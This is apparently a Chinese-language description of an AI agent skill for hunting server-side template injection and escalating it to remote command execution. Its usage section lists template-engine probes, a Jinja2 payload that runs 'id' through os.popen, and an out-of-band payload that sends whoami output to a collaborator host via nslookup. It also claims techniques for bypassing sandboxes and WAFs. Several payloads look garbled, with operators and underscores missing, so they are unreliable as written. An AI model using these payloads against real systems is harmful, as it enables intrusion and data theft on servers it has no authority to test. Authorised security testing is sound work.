用途:当目标端点把用户可控输入交给服务端模板引擎渲染时,用本技能检测 SSTI 并进一步升级为命令执行或文件读取。SSTI 常见于邮件模板(订单确认、密码重置、欢迎邮件)、PDF/报表生成、CMS 预览与主题编辑、回显用户输入的错误页、个人简介字段、URL 路径参数和翻译插值字符串。
主要能力:提供检测多引擎的 polyglot 探针、指纹识别差异探针表、错误回显技巧、盲注 OOB 外带方法、引擎专属 RCE 载荷(Jinja2/Twig/Freemarker/ERB/Velocity/Spring Thymeleaf/Smarty)、常见根因分析、绕过黑名单与沙箱与 WAF 的技巧,以及自带完整性自检命令。
使用方式:先向每个候选字段提交检测 polyglot,例如 {{77}}${77}#{77}<%= 77 %>{77},出现 49 即确认求值;再用 {{7*'7'}} 区分 Jinja2 与 Twig,用 ${77}、<%= 77 %>、{77} 区分 Java、Ruby、Thymeleaf;随后按引擎选择升级载荷,如 Jinja2 用 {{config.class.init.globals['os'].popen('id').read()}}。输出不回显时改用 OOB:{{lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}。自检可执行 grep -q "name: hunt-ssti" SKILL.md 等命令。
限制与风险:{{7*7}} 返回 49 仅证明模板注入,需继续证明 RCE 或文件读取;沙箱引擎需专门绕过;不同引擎语法易混,须先指纹再升级;盲注需时间或 OOB 技术。triage 时应先用唯一标记证明 id 执行或 DNS 回调,再定为严重级别。资料未提供具体价格、许可与平台适配信息。